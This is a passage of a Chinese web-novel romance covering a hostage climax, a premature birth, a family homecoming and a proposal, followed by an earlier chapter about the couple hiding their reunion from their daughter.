鹤爵确信他没有在自己身上安装任何监控设备,一脚踢开备用治疗室的大门。 屋子里俨然属于不经常使用的,这种房间的设置一般用来处理医疗应急。 屋子最中央摆放着一张病床,而上面平展地躺着一具骷髅人。 说是骷髅人,但还有活气,从一旁的生命检测仪和呼吸机能判断出,这具皮包骨的骷髅,勉强还能维持着呼吸的本能。 可是至于是不是还算作生命意义上的活着,恐怕像鹤爵这类不懂医学的人,是无法鉴定的。 柏庭修道,“在他旁边有一个摄像头,现在请打开。” 鹤爵谨慎地靠近病床,用手指点开摄像头的刹那时,也意味着他近距离看清了骷髅的真面孔。 即使对方浑身发散出即将腐烂的恶臭,皮肤组织绵软塌陷,紧紧包裹着孱弱的骨架。 鹤爵依旧准确地认出来了,病床间的人的真面目。 “白寒书?” 第63章 一切平安 各种生命检测仪显示的数值均呈现在最低水平状态, 白寒书确实如同一具活死人般无声无息。 应该属于脑死亡状态下,被各种高级仪器的加固下,维持一定的心脏跃动。 鹤爵的警觉性极高,几乎是在一个瞬间便猜透对方在耍什么把戏, 禁不住冷嗤道, “你想让我杀了他?” 是不是有点太会安排时机了? 柏庭修双手小幅度鼓掌着, “没错没错,跟聪明人打交道, 真是一件痛快的事情。” 鹤爵朝备用医疗室的门口扫了一眼, 刚才在他打开摄像头之前, 跟在身后的赵管家, 极有默契地将私人医院前来领路的医生拦住,两人沉默地躲在了门口。 赵管家在柏庭修的视野盲区打开手机视频, 摄像头对准鹤爵的背影。 鹤爵看到赵管家的小动作之后, 才稍微换了种调侃的冰冷语气。 “柏医生, 你真是令我刮目相看啊。” “我以为医生都是天生职业道德感极高的圣徒,没想到你居然会怂恿我,做这种恐怖的事情。” 鹤爵沉稳地坐在一旁的椅子上,“我猜, 你跟白寒书应该不是恋人。” “但是, 你恨着白寒书, 你宁可用机器吊住他的命,也不愿意亲手拔掉氧气管。” “我猜, 你跟白寒书之间,还有另外一层不可告人的关系。” 白——柏。 柏——白。 鹤爵道, “我跟白家做商业上的竞争对手时,已经从各个方面把白家的底细查清楚, 后来白家选择了破产,除去死的死,伤的伤,逃到国外的基本上只是一些不成气候的虾兵蟹将,掀不起什么巨浪,能像柏医生这样有才华的,根本等于零。” “唯今看来,你只能是一种身份。” 鹤爵虽是隔着屏幕,屏幕之外又是不知距离的迢迢之地,纵便如此,也极难抵挡他瞳孔之下的阴沉质感。 “你是白家见不得人的私生子,假若你跟白寒书不是同父异母的关系,便有可能是白家老爷子的遗腹子,是白寒书见不得光的小叔叔。” “爵爷不亏是爵爷,”柏庭修这次没有鼓掌,反倒目光沉郁,从骨子里生出一种几乎恼羞成怒的恨意。 “我是白寒书同父异母的哥哥。” 不,“应该说我是白家丢在外面的野狗,没有身份,更没有地位,哪怕母亲得癌症死掉,也只能被白家驱赶在外的狗杂种。” 鹤爵此刻终于捋清楚一些事情。 例如,柏庭修为什么不能亲手弄死白寒书。 绝对不是因为,他还想继续做医生。 医生有明确条例要求,不能随便拔掉病患的氧气管,这属于犯罪行为。 柏庭修只是因为憎恨白家,憎恨父亲,憎恨着处于白家千般宠爱的白寒书!! 但他不能脏手,他还要痛快。 ——所以他要脏了我的手,来让他狠狠地痛快! 鹤爵转为不紧不慢的姿势,挪了一下身体道,“可柏医生这样算计我,实属不厚道吧?难道我就可以游走在法律之外了?” 柏庭修道,“鹤爵,你不要伪装善良,你骨子里有多么阴狠,难道你自己心里没数?” “白家是怎么被毁的?白寒书又是怎么被你逼得?他从悬崖跳海的时候,你分明也知道,可你有选择放过他了吗?” 鹤爵默默听了一遍,“商业间的逐鹿中原有自己的存亡法则,每天有无数的企业注册,也会有无数的企业宣告破产,我一直是一个奉公守法的商人,连法律都没有判定我是有罪的,你现在这样逼迫我,难道不属于教唆罪?” 柏庭修看了一眼手表,觉得鹤爵似乎是在拖延时间,不像是正常在进行对话的范畴,言道,“我现在手里可是有筹码的,你难道还分不清楚,赌桌上究竟谁才是真正的庄家?” 视频可以作为证据之一,但也有十分严苛的条件制约,单纯依靠两人刚才那种藏着掖着的谈话方式,估计也难有什么法律效益。 鹤爵也抬起手腕看了眼腕表,距离私人保镖队长离开也有一段时间,假如沈望的定位被更新的话,差不多立刻可以进行定位。 鹤爵起身道,“恕我不能同意,抱歉。” “呵呵呵。” 柏庭修倒是一点也不意外,而是从视频面前离开片刻。 鹤爵看不见人影,立刻慌乱起来,他能稳定情绪跟柏庭修打马虎眼,全靠多年经历大风大浪形成的应急反射。 可是沈望在对方手里啊!!! 沈望现在并不怎么晕眩了,他冥冥中听到了对话的部分内容,想要支撑着爬起来,而柏庭修冷漠无情地看着他的一举一动。 “沈望,我不会对你动粗,也不会对你做任何不道德的事情。” “我们还是早点解决最棘手的问题,你看你肚子这么大,总不好把孩子生产在草席上吧?” 畜生!!畜生!! 柏庭修弯下腰,“但我需要你帮我敲打一下鹤爵,不然他根本不懂得什么叫做害怕。” 说着,他从沈望的病号服上扯下一块布料。 沈望立刻尖叫道,“你做什么?!你是不是疯了!!” 这一声叫喊可不得了,传递到了鹤爵的耳中,俨然变成另外一种感受。 惊悚,窒息,颅脑内升腾起不断地恐惧感仿佛抽干了可以呼吸的氧气,令鹤爵同时爆喝道,“柏庭修!我满足你,你千万不要乱动沈望!不然我事后非要弄死你不可!!!” 柏庭修将布料捏在手里,对着屏幕抖了一下,“快点,爵爷,要做就做。” 鹤爵笔直地靠近白寒书的呼吸机,完全没有一点犹豫,将手指摁在呼吸机的开关上。 他看了一眼白寒书。 半死不活的阴鬼。 彻底去死吧! “不行!鹤爵!!你敢胡来!!”在柏庭修的背后,摇摇晃晃地站起来一具蹒跚身影,是沈望,他趁柏庭修以为自己根本起不来的空档,一把搂住柏庭修的脖颈,掐得对方进气比出气多。 柏庭修立刻强烈地挣扎起来,沈望选择从后面偷袭他,也是为了更好的保护肚子,所以柏庭修对他造成的伤害,主要集中于腰侧和双臂。 沈望忍住疼痛,咬牙喊着,“我可是在大广福杀了十几年的鱼,你这种神经病变态,根本不是我的对手!” 他这句话不假,掐住柏庭修的双臂充满力量,沈望心底默念。 我怀里的是一条鱼。 我抱住的是一条鱼而已! 抽出右手,一拳拳砸向怀中人的侧肋,基本次次砸在要害处。 “我叫你再给我乱跳,叫你再给我蹦跶!” 沈望的痛感被一种击打的快感所取代,他的情绪本来就不稳定,医生叫他准备一个发泄情绪的小玩偶,没事干也可以砸两拳的。 “我叫你威胁鹤爵!我叫你做坏事!!” 沈望冥冥中感觉手臂间紧勒住的人似乎断气了,忽然有点害怕,将手慢慢松了开来。 结果蔫耷耷的男人忽然恢复呼吸,转身挥了一拳,打得身后的沈望仰身倒了下去,鼻子里停不住地冒鼻血,眼冒金星。 “咳咳咳!” 柏庭修捂住艰难呼吸的喉部,冲到视频面前一看,哪里还有鹤爵的影子?! 呼吸机依旧在运作着!!! “王八蛋!胆小鬼!”柏庭修根本不顾得浑身的脏污,将监视器匆忙装进一旁的背包内,而后走到沈望的面前,阴恻恻道,“你用生命保护的男人是个懦夫,而你!” “你只是一个可怜兮兮的倒霉鬼!” 可能是计划落空了,柏庭修彻底脱去人类的外衣,转而变成邪恶的魔鬼,一把扯起沈望的衣襟,大言不惭道。 “你还记得十几年前,那一群把你堵在校门外,警告你离开鹤爵的人吗?” “没错,其实是我找来的。” “鹤爵其实很容易受到影响,只要我愿意给他适当的刺激,当年你的离开,多少也刺激到了他对白家彻底的报复。” “所以,你如果死了的话?鹤爵会不会变成更好受人摆布的人偶呢?” 言罢,柏庭修从包里掏出一柄手术刀,沈望感觉对方已经彻底疯了,拼死抓住他的手喊道,“你想做什么!!这里是法治社会,你敢!!” 柏庭修把他的病号服扯开,露出滚圆的肚皮,可能是二宝在肚子里感受到了惊悚,不停地钻来钻去。 “做什么?当然是做让鹤爵永远后悔的事情。” “我是不是说过,你身体具有很好的研究价值?!” 柏庭修甩开沈望的双手,准备将手术刀刺进肚子,却在眼神一扫间,看到了沈望右手手腕的镯子,正在不停地闪烁着蓝光。 “这是什么东西?” 沈望拧住一股劲儿,一脚踢在他的肩膀侧,转身向土坯房子外爬去。 “我准你走了吗!” 柏庭修一脚踩在沈望的小腿,“给我说清楚,这究竟是什么东西!” 他把沈望拖拽回来,提起散发着蓝光的金镯子,穷凶极恶地问道,“这究竟是什么!!” 不等沈望回答,一个弹簧子弹从窗户外笔直地飞了进来,击中柏庭修的胸口,释放出强大的电流,将穷凶极恶的男人电得口吐白沫,双眼一翻晕死过去。 随后从屋外冲进来几个身穿黑色劲装的保镖,其中一个来检查沈望的情况,而另外一个则给冲对讲机道,“爵爷,沈先生的情况不怎么好!” 沈望大概是跟柏庭修拼命太用力,又被对方狠狠给了几拳,人获救后彻底放松了劲儿,转眼晕厥了过去。 不知在黑暗的环境中浮浮沉沉了多久,沈望听见熟悉的声音在呼唤他。 鹤爵 沈望努力扒开眼睛,正看见鹤爵扶着理疗床的一侧,发疯地狂奔着,前面是帮忙开道的医生。 鹤爵不停朝他喊着,“沈望!你千万要挺住!!沈望!你看看我,你看看我!” 沈望总感觉这辈子都没见过这样模糊的鹤爵,仿佛就漂浮在手边,但碰一碰会顷刻破碎。 沈望说,“鹤爵” 鹤爵努力看着他的一切,包括他的口型。 鹤爵说,“快了!快了!我马上送你进手术室,你不要害怕!!” 分明害怕的是他呢。 沈望道,“我不害怕呢,鹤爵。” 他的疼痛逐渐在飘离身体,使得沈望说话的声音也轻轻浅浅的。 “我刚才好像回到了妙妙会死的那个房子。” 毛坯的土房子,四周漏风,屋顶的茅草窸窸窣窣,完全挡不住任何寒冷,躺在破草席上仿佛随时会丢掉性命。 “假如这世界真是一本书,假如我没能生下二宝,我死了。” “妙妙就永远不会发生这样的事情了。” 由她的亲爸爸换她,很公平。 “沈望,你千万不要说丧气话,求你!”鹤爵万年不曾湿润的眼眶,如今早已洪波泛滥。 “你不要胡思乱想,妙妙也不需要你去替她,我说过的,我要好好保护咱们一家。” “望崽,你不要放弃我,再也不要随便放弃我了!!” 徐美珊等人早已经在手术室前等候多时,看见推着沈望的车来了,叫张院长去拦住。 手术室的灯又转成红色。 鹤爵被张院长和几个人死死摁住,一点儿也不能动弹。 赵管家朝着他说,“少爷,少爷您振作一点,咱们鹤家一向顺风顺水,福气安康的,想必沈先生和二宝一定会逢凶化吉。” 逢凶化吉。 逢凶化吉! 鹤爵朝所有人道,“你们让我起来吧。” 听他的声音冷得像冰,赵管家知道少爷此刻所接受的煎熬必然是长千上万倍的,朝压制他的人道,“劳烦各位,将少爷搀扶起来吧。” 鹤爵心如死灰地挥了下手,不准任何人随便靠近他,他像一块冷透的雕塑,缓慢又僵硬地转移到了医院长椅间坐下。 人都说,未经苦楚,不求神佛。 鹤爵双手合十,不停地叨念着,“我佛慈悲,我佛慈悲。” 不远处,沈妙妙接到赵管家的电话,丢在正在学习的老师,火急火燎地冲了过来,远远一看见鹤爵便火冒三丈地骂着,“姓鹤的!你把我爸爸怎么了!你给我说清楚!!” 小姑娘冲上去要跟他拼命,被赵管家揽住腰道,“好小姐,您不要生少爷的气,沈先生那个样子,他也不好受,您再逼他,少爷也得疯了啊!” “我不管,我只要我爸爸好好的!!”沈妙妙多么坚强的一个人,蹲在地上抱头大哭。 整个长廊间都弥漫着极度低沉且压抑的氛围。 直到半个小时后。 护士急匆匆地走出来,朝鹤爵道,“爵爷,宝宝生了,只是月份不足,刚才已经送进保温箱了。” 鹤爵一把扯住她的手,朝护士瞠圆双目,恐怖得仿佛从地狱里爬出来的修罗。 “沈望呢!!沈望怎么样!!” 小护士是专门出来传话的,面露喜色道,“徐医生现在正在替沈先生缝合,应该再晚半个小时,就能出来了。” 谢天谢地。 鹤爵的脑子里浮现出这四个大字,人的眼前一黑,彻底朝后砸去,幸亏身边的沈妙妙和赵管家把他从后面托住。 鹤爵才没有眩晕过去。 他刚才像佛祖发誓,这辈子再也不随便杀生,也不吃荤斋,一辈子食素,只求沈望和二宝平平安安。 等沈望顺利从手术室推出来,徐医生特别跟父女俩交待,说沈望跟人搏斗时护住了腹部,所以没有产生不可弥补的恶果。 鹤爵已经紧张过度一整天,滴水未进还受尽了情绪波动,现在只有一口气吊着,脸色差得不得了。 徐医生看见沈妙妙也颇为紧张,使劲攥住鹤爵的袖子,借以支撑自己。 不由笑道,“看来你们都不知道沈望生的是什么?” 徐医生决定卖个关子,朝沈妙妙道,“以后有人陪你一起撒娇了。” 第64章【正文完结】 第64章 正文完结 二宝是早产儿, 若是一般人家的孩子恐怕天生要体弱些,幸亏二宝的吮吸力很强,吃奶完全不需要人工辅助,体重从刚开始的1600克逐步增高到2000克, 身体没有任何感染, 而且肺部也没有任何不良发育。 是一只小耗子般红通通的小baby。 沈妙妙每天只要有空, 就来新生儿重症监护室(NICU)中,探望二宝。 监护室的保温箱总共有三十个左右, 其中有十个保温箱中住着这些天生不足的小宝宝。 目前看来, 只有二宝看起来体型最小, 像大熊猫生下的小崽崽, 红通通地穿着鹤爵从国外特别定制来的小号尿不湿,眼睛微微眯着, 将超级小号的大拇指含在嘴里不停吮吸, 两条小细腿动来动去的, 一刻都不安生。 沈妙妙拿出给二宝买的玩偶,这款玩偶是按照自己的五官特别设计的Q版姐崽,朝保温箱里的二宝笑道,“臭淼淼, 你在这里已经躺了两周啦, 准备什么时候出来让姐姐亲亲你呢?” 沈妙妙隔着玻璃逗弄二宝, 却见鹤爵也过来看孩子,旋即将买好的玩偶塞进背包, 假装一脸严肃。 鹤爵过来看见她,显得颇为意外, 最主要的是期末考斯在即,京大的挂科率是全国出名的高, 不禁问道,“你怎么过来了?” 沈妙妙直起腰,转而侧头扬起下巴,“我来看看我的亲妹妹,怎么,不行啊?!” “当然可以,我怎么敢对妙妙公主指手画脚?”鹤爵宠溺地摸了摸大女儿的头,“我只是想着,今年过年,恐怕爸爸和二宝不能跟你一起回广城了。” 哼! 沈妙妙心底骂他得了便宜又来卖乖,真是个老毕登!! 言道,“都怪你,淼淼的生日原本应该在二月,是一个春天的孩子,现在生在十二月里,被冻得像一只瑟瑟发抖的小老鼠。” 小老鼠? 鹤爵往前凑着去看自己的二女儿,发现沈淼淼确实是十几个婴儿里最小的,一身皱巴巴的红皮肤,张牙舞爪的。 但是可爱极了。 尤其两人在外面讨论着,沈淼淼像是心灵感应,蓦得睁开眯眯眼,却发现这孩子的眼睛一点也不小,反倒是一双黑幽幽的桃花眼,眼尾翘翘的,细看很是漂亮。 然后朝着两个人的方向,打了一个打哈欠,能看见粉红的小舌头在小嘴巴里蠕动着。 鹤爵连忙搜自己的衣兜。 沈妙妙已经超级快地掏出手机,将小妹憨态可掬的画面拍摄下来。 “现在又不嫌弃你妹妹是一只小红耗子了?” 沈妙妙才不搭理亲爹的挑拨,现在这个老头子高兴得要命,正所谓得意忘形。 “淼淼长得像爸爸,以后肯定是超级美人。” 鹤爵的手又不老实地搭在她的头发上,“那你知道自己像谁吗?” 沈妙妙切了一声。 “你现在才觉得我像你啊?”沈妙妙对他吐吐舌头,“你之前绝对不是这样想的吧?” 哼╭(╯^╰)╮! 鹤爵在私人医院里有股份,而且三哥和张院长更是事事周到,所以沈淼淼在暖烘烘的保温箱里潇洒地住了一个月。 沈淼淼周围的小婴儿们也不是普通人,这家私人医院是面向年收入高达上千万的人群开放的。 一群婴儿的身份天生高人一等,例如某银行行长的孙子,某外贸公司老总的女儿,某化妆品公司创意总监的双胞胎。 一群小宝贝完全没有出院回家的意思,把保温箱当作豪宅住,尤其沈淼淼一打哈欠,其他的男女宝宝也跟着一起打,沈淼淼肚子一饿了哭鼻子,其他婴儿们也哇哇大哭。 不过沈淼淼的伙食明显比其他宝宝好,这些宝宝多数吃进口奶粉,沈淼淼吃得是纯天然高营养的父乳。 沈望坚持要亲自喂养二女儿,毕竟淼淼不足月,是被迫推出来见识这个世界的,他总害怕孩子天生不足,后天营养再跟不上,自己一定会懊恼至死。 所以沈望为了产乳,每天大量饮用各种补汤,身材胖了一圈,皮肤倒是细腻极了温软如玉,尤其生完二宝后,体香变得更加沉馥,不再是果实花草的清甜,而是一种更为熟透了,触一触会爆出果汁的蜜香。 所以在这种高质量的抚慰下,二宝的皮肤很快褪去红色,变成跟沈望一样的细腻肉白,再躺进保温箱里,明显比其他小婴儿耀眼万分。 假如公主的美貌有段位的话,大概就是指皮肤像雪一样白,嘴唇红软像鲜嫩的玫瑰花,头发乌黑的像炭。 二宝足月要在家举行仪式,尤其沈妙妙也该认祖归宗了,于是鹤爵和沈望两人一合计,宝宝30天整的时候,可以接宝回家了。 鹤爵原本打算抱二宝的,结果被沈妙妙直接抢走,还朝他露出哂笑,“你笨手笨脚的,先去买个假婴儿练练手,我还怕你把二宝给摔了呢。” 对于这一点,沈望很有发言权,朝鹤爵道,“不行,你真的去买个假婴儿练练手?” 假如:鹤爵没有在给沈望削苹果的时候差点削破手指,帮沈望取包裹的时候拿错快递,替沈望换纱布时,戳得刀疤好疼。 “胡说,”鹤爵有点失了面子,反驳地超快,“二宝拉粑粑的时候,我处理的很好。” 沈望搀着他的手臂,“二宝是女宝宝,擦屁屁跟男宝宝是不一样的,你每次擦完还不是需要我再处理一下?” 算了,某些人是天生的少爷,没有生活常识是可以理解的。 “我不同意!”鹤爵忽然从他身边跑开,几个健步追上沈妙妙,一把将沈妙妙和二宝一起抱起来,哈哈笑道,“不要说二宝了,我大宝二宝一样可以抱得稳稳的。” 车子开到半路上,沈望叫司机停了一阵,又派沈妙妙去买几盒万通筋骨贴。 沈妙妙笑得腰都快直不起来了。 买药回来后,抱着二宝往后看。 鹤爵半躺在沈望的怀里,沈望往他的后腰贴了三张药膏,温柔地帮某个人揉搓道,“妙妙已经是大姑娘了,你不要莽撞啊。” 鹤爵禁不住反驳,“主要是最近没有好好地健身。” 他说的没错,自从老婆二宝住院,他基本上以院为家,吃饭办公睡觉统一挪到病房,可以说沈望胖了十斤,他就掉了二十斤。 鹤爵说,“千金千金,我现在有两个宝贝千金,还有一个万万金的老婆,压死我也值得。” 沈望偷偷拧了一把他刚闪到的老腰,疼得某人呲牙咧嘴,才笑说,“你可得好好挺着,咱们这个家没你不行。” 鹤爵只孱弱了一个小时,等快到鹤公馆门口前,人蓦得坐得挺直,完全不像是老弱病残,完全恢复令人闻风丧胆的爵爷形象,威严感十足。 沈妙妙悄悄给二宝解释说,“这就叫装逼,记住了吗?以后哪个男的在你面前像他这样,听姐姐的,离远点。” 鹤老爷子和其他的鹤家人早已经在门口等着他们归家。 沈望有点不好意思说,“老人家岁数大了,每次都让他在门口等我,我心里实在过不去啊。” 鹤爵淡道,“不用有负担,你现在是鹤家的功臣,他们是爱你敬你。” “什么?”沈望难以置信,“我做了什么?能成为鹤家的功臣?” 鹤爵抓住他的手,放在嘴边吻了吻,又忍不住窃玉偷香似的,吻了沈望的嘴唇。 “因为你征服了鹤家的野兽,让他有家可归。” 沈望羞红脸:“真的吗?” 沈妙妙亲了一口二宝,捂住二宝的眼睛,非礼勿视,这俩人以后估计管你大宝二宝的,随便搂随便亲,随便甜蜜。 “来,淼淼,跟我学一个动作,叫翻白眼。” 鹤公馆今天迎来了最热闹的一天,鹤家的男女老少齐聚一堂,一方面是给二宝挂长生锁,一方面是迎接新成员沈妙妙入族谱。 鹤老爷子笑得见牙不见眼,给两个新得的孙女一人送了一个拳头大的纯金金锁,上面用冰种翡翠雕刻着:长命百岁,德福安康。 沈淼淼是肯定戴不了这么大的一块金锁,沈妙妙也戴不动啊。 鹤老爷子笑眯眯说,“以后我们鹤家就有三个千金了,若是将来有良配来求取,首先叫他搬出足以能打开这把锁的财富再说。” 沈望趁人不注意,把金锁捏在掌心里垫了垫,差点没给手腕扭到,他不得不去求助鹤爵,疑惑满满地问,“这锁沉是很沉的,可是为什么需要妙妙淼淼的老公用财富来求取呢?” 鹤爵抬起手指,微微敲了一下笨老婆的脑门儿,言道,“你看这两把锁有能插孔的钥匙口吗?” 沈望双手举起金锁,看了十几遍,确实没有孔,是实心实金的,难怪重的要命。 “额没有。” 鹤爵生怕把笨老婆打得更笨了,亲了一口沈望的脑门,“老爷子的意思很明显,说明根本没有人有资格能娶我的女儿们。” 说到这个。 鹤爵肯定不会让随便哪个凡夫俗子来沾染他和沈望的宝贝,这个世界上除了他和沈望,其他的男人都是弱鸡。 宴会一直持续到很久,不过二宝可不是能跟他们一起熬夜的,她还是一个小宝宝,需要早点睡觉。 沈望原本打算喂完奶,哄二宝睡觉的,哪知沈妙妙钻进卧室,对他神秘笑道,“我今晚想跟妹妹睡觉,爸爸能不能给个机会?” 沈望搂着妙妙和淼淼,跟她们躺了一阵,起身去找鹤爵。 快要走到门口,沈妙妙忽然喊住他。 沈望立刻回头。 沈妙妙欲言又止,朝他挥挥手道,“爸爸晚安。” 一月份的天气很冷,沈望身体还颇为虚弱,不是很能抗冷,所以选择到玻璃房去透透气。 哪知他刚走进去,整个玻璃房内的灯全部亮起来。 他都不知道,玻璃房里什么时候安装了多如繁星的小灯泡,微弱的灯光在玻璃的反射下,汇聚生成耀眼的小光斑。 世界忽然璀璨生辉。 优美且轻柔的乐曲悠然响起,玻璃房内的花草树木忽然缀上了极艳的色彩,靡靡地撒发香味。 “不知我,是否可以请你跳一支舞,望崽?” 伴随着乐曲,脚踩着树影花香,鹤爵穿着得体的燕尾服,从一旁慢悠悠地走出来。 沈望愣在原地,头顶仿佛突然点亮了一只小灯泡,灵光乍现道,“这是我们高中时那个那个成人礼舞会的乐曲。” “是的。”鹤爵绅士地走向沈望,将他的右手轻轻执起,而自己的右手则紧密地搂住对方的腰身。 沈望仰头,“难道……你现在穿得是高中成年礼时的那一套礼服?” 很有可能!! 沈望永远记得鹤爵当初走向舞池中央的瞬间,所有人都屏住了呼吸,仿佛天上的王子变成落入凡间的星辰,被自己误打误撞给碰到了。 我当初只是一个捡垃圾为生的臭小孩。 鹤爵道,“肯定不是,我现在很大。” 沈望原本有点缅怀陈年又破旧的记忆,直接笑起来道,“你把我的刀口笑破了,我不饶你。” 沈望的脸不知怎么的,突然红了一点,而这红仿佛燎原的星火,瞬间将整个身体引燃。 包括全部的回忆,好的,坏的,恋慕的,憎恨的,惆怅的,无助的,充满希望的! 沈望感觉自己在颤抖,但不是因为害怕,他现在没什么害怕的事情了,他变勇敢了。 沈望小声问,“那你有什么想对我说的吗?” 鹤爵认真思考了一下,“注意我的皮鞋,你踩它的时候要可怜它一点。” 言罢,带着沈望,在玻璃房的满天星光中旋转,旋转。 沈望眼睛都缭乱了。 他对鹤爵道,“慢一点,我快晕死了。” 十几年前的舞会夜晚,他也是这样小声地恳求着鹤爵,慢一点,慢一点。 实际上,沈望知道自己的内心并不希望鹤爵慢下来,他想跟着鹤爵一起翱翔,最终成为鹤爵心底最永恒的闪烁。 “鹤爵,鹤爵。” 鹤爵抱着他,不管沈望是不是真的晕了,或者踩了他十几脚。 当初的、笨拙的、可怜的,又极其可爱的人。 鹤爵说,“十几年了,望崽,我们已经快要错过彼此人生中最美好的年华了,我的心里好痛苦,好难受。” 沈望主动地吻了他,“以后我们好好过日子,等你老了,我也一起陪着你生老病死,好不好?鹤爵。” 鹤爵说,“那你以后该叫我什么?” 沈望笑道,“老” “老鹤。” 鹤爵一口咬在沈望的肩膀,辗转又舔掉了沈望的眼泪,其实连他自己都感动的不得了。 他说,“我没有大金锁锁住你,只有两枚小破戒指,不知今晚有没有荣幸,请你一起跟我戴上它们,一辈子直到火化了,也不会轻易取下来。” 沈望点点头,由心说出那迟到了十几年的承诺。 漫长的、充满等待的、拥抱希望的承诺。 “你早就知道的,十几年前就该知道的,鹤爵。” “我超级的愿意。” “我愿意。” 50-60 第51章 偷感 鹤爵讲完之后, 沈望并没展现出更多的情绪,而是陷入沉思,就像他得知自己的肚子里,正在孕育着一个全新的生命所体现的那样。 安安静静的。 跟电视剧里那些相爱的夫妻, 再看到验孕棒呈现出阳性时的亢奋或欣喜。 都没有。 鹤爵认真思考了一下, 选择不要把人逼的太紧, 孩子虽然是上天馈赠的礼物,但也冥冥中承载着一定的挑战和压力。 沈望独自陷入沉思, 直到感觉鹤爵的手微微发起凉, 才有所警觉地看着他说。 “不要太担心我是讲, 以前是我一个人面对怀孕的事情, 好像挺无所畏惧的,不过现在却是要面对三个人, 所以突然变得谨小慎微起来。” 也对。 他们还有一个已经成年了的可爱女儿, 而且女儿还并不知道自己是男人生的, 更不知道自己的爸爸之一,会是京城内鼎鼎大名的爵爷。 对于鹤爵来讲,他还没有完全获得沈望的百分之百的信任,更没有得到女儿的原谅与认同, 两人还没有一起更好地宠爱女儿, 补足缺失的遗憾。 总之, 二宝来的时机似乎并不合适。 鹤爵被沈望的情绪迅速传染,不由也在认真思考, 究竟该怎么做,才能达到所谓的两全其美。 沈望却像是发现了新大陆, 晦暗不明的情绪被一扫而空,推着鹤爵催促道, “好,今天就在这里分开吧。” 什么?! 分开吧?! 鹤爵沿着沈望的视线投射去,看见沈望的破落院门外,站着一位亭亭玉立的少女,正猫着腰往锈迹斑斑的大铁门内观望。 “妙妙?” “我女儿回家了!” 鹤爵的视野几乎是一闪而过,整个人被兴奋的沈望推到残垣断壁的后面躲起来。 鹤爵道,“什么意思?你不打算让我跟女儿见面?” 沈望面露难色,“妙妙还不认识你,我怕孩子一时间接受不了你的存在。” 鹤爵:“” 女儿认识我,我们背着你在私底下已经交手好几次了。 鹤爵:“我” 沈望双手合十,像是拜佛似的眨巴着虔诚的眼睛,“我就这么一个宝贝女儿,鹤爵,我们找一个合适的机会再公开秘密,好不好?” 鹤爵瞧他急得额头冒汗,心底一软道,“好,你不要着急,我” 他都还没说完余下的话,沈望已经一溜烟地跑回家门口,冲沈妙妙喊道,“我的公主殿下回家啦!” 沈妙妙没料想爸爸居然从身后冒出来,其实她只是从地面看到不少纵横交错的车轮印痕,心底疑惑家里住的偏僻,怎么会有这么多的来往痕迹? 总不会是鹤爵在这附近吧? 沈妙妙扑上去给了沈望一个大大的拥抱,笑得小脸灿烂,又甜又美说,“放暑假了嘛,想偷偷回家给你一个惊喜啦~” 沈望连忙将沈妙妙的行李箱拉进自己手里,拥住女儿的后背道,“上个月才在京城见了你,这个月宝贝就回家了,真好。” “晚上想吃什么,爸爸给你做啊!” 父女俩美滋滋地走进庭院,大铁门一关,无限的父女亲情便被关在院落之内,偶尔能从半空中传出两人快乐的笑声。 被晾在阴暗角落里的某人不停地伸长脖子张望,常年失去味觉的口舌似乎正在被某种又酸又烈的味道袭击。 说他嫉妒沈望吧?沈望理应得到女儿全部的爱,完全没有他可以插足的地方,说他嫉妒沈妙妙吧?女儿早已经取代了他的地位,成为沈望这辈子最在意的人。 鹤爵完全像个遗落在隐秘角落的第三者,看着老婆和女儿在破败的庭院中开怀大笑 没办法,他遗失的十八年并不是分分秒秒的散沙,而是一座山,一条路,一片海。 沈望领着沈妙妙进屋前,还担心赵管家正在家指挥人搞以旧换新,结果完全多虑,鹤爵去找他的时候,已经把所有人都赶走了。 沈望每天都会将女儿的卧室收拾一遍,擦掉细灰,替换蚊帐,打开窗户通风。 沈妙妙像一只慵懒的猫,扑得倒进舒适的大床内,滚了三圈,眯起眼道,“还是家里舒服,真想一辈子都睡在家里。” 沈望满怀柔情地坐在床边,沈妙妙立刻将头摆放在他的大腿上,用白皙软嫩的脸蛋蹭着撒娇,“爸爸的味道是全世界最令人安心的,爱爸爸。” 父女两人亲昵地依靠成一团,沈望的手反复摩挲着女儿稠密的黑发。 妙妙小的时候,最难的就是给女儿扎各种漂亮的小辫子,毕竟幼儿园的小姑娘一个赛一个的会打扮,他的女儿不一定是最漂亮的,但绝对是最软萌的。 摸着摸着。 沈妙妙的头一直紧贴着他的腹部,这让沈望在触碰到妙妙公主的时候,连带着也抚摸到了肚子里的小种子。 当沈望意识到这一点,手指禁不住颤抖起来,忽然觉得这是一种深深地背叛。 ——我发过誓,一辈子只爱妙妙一个人的。 沈妙妙似乎在一瞬间能感受到他的沉郁,不禁转头询问,“爸爸,你怎么了?” 沈望连忙挥散心底所有灰暗的烟霭,言笑晏晏说,“妙妙公主坐了那么久的火车,是不是应该先去洗个澡,爸爸晚上煮你最爱吃的菜,等晚饭点就可以集合啦。” 沈望安顿好女儿,专门出去买了一趟菜,鹤爵已经不在原地等他了。 沈望多少还有点空落落的,心说这人确实斩钉截铁,来也匆匆、去也匆匆。 沈妙妙隔着远远的院墙喊着,“爸爸,我超级想吃葡萄哒!” “好!一定完成任务。” 沈望喜滋滋地买了菜回来,鹤爵又重新出现在家门口附近,朝他招手说,“来。” 沈望不知怎么,尤其担心女儿洗完澡习惯性坐在院子里乘凉,小跑着过去捂住鹤爵的嘴道,“你怎么还没走?” 鹤爵噗噗地轻笑了两声,“你要不要偷感这样重?” 沈望的脸立刻红了,不过他坚信是因为手里提着的东西太多导致。 鹤爵道,“我刚才四处转着看了眼你这房子的院墙,感觉你好像自己把高度加高了。” 沈望当初之所以搬得偏僻,只是为了隐蔽浑身散发的体香问题,随着女儿出落得越来越亭亭玉立,他又开始担心会有坏人盯上沈妙妙,所以只要有空,就将院墙加高了半米,还在上面扎满酒瓶碎片。 鹤爵却说,“可是你家的铁门,我一脚就蹬开了,都不知道该表扬你有安全意识,还是该批评你缺乏安全意识。” “不过没关系。” 他道,“只要你跟女儿住在这里一天,我会派人24小时维护周围的安全。” 鹤爵拉住沈望的手,不停安抚着,“女儿也是我的,你要慢慢相信我,知道吗?” 沈望垫了垫手中的塑料袋子。 鹤爵离开一小阵子,拿来了一整袋进口水果,价位没有挑选特别昂贵的,都是属于普通的贵。 沈望怀疑他不但偷听到女儿想吃什么,还把车子停在隐蔽的地方。 鹤爵递给他道,“我尊重你,先不打扰你和女儿的甜蜜时光。” 沈望急忙打断,“不是的,你误会了,是因为妙妙寒假没有回来,我想跟女儿多独处一段时间。” 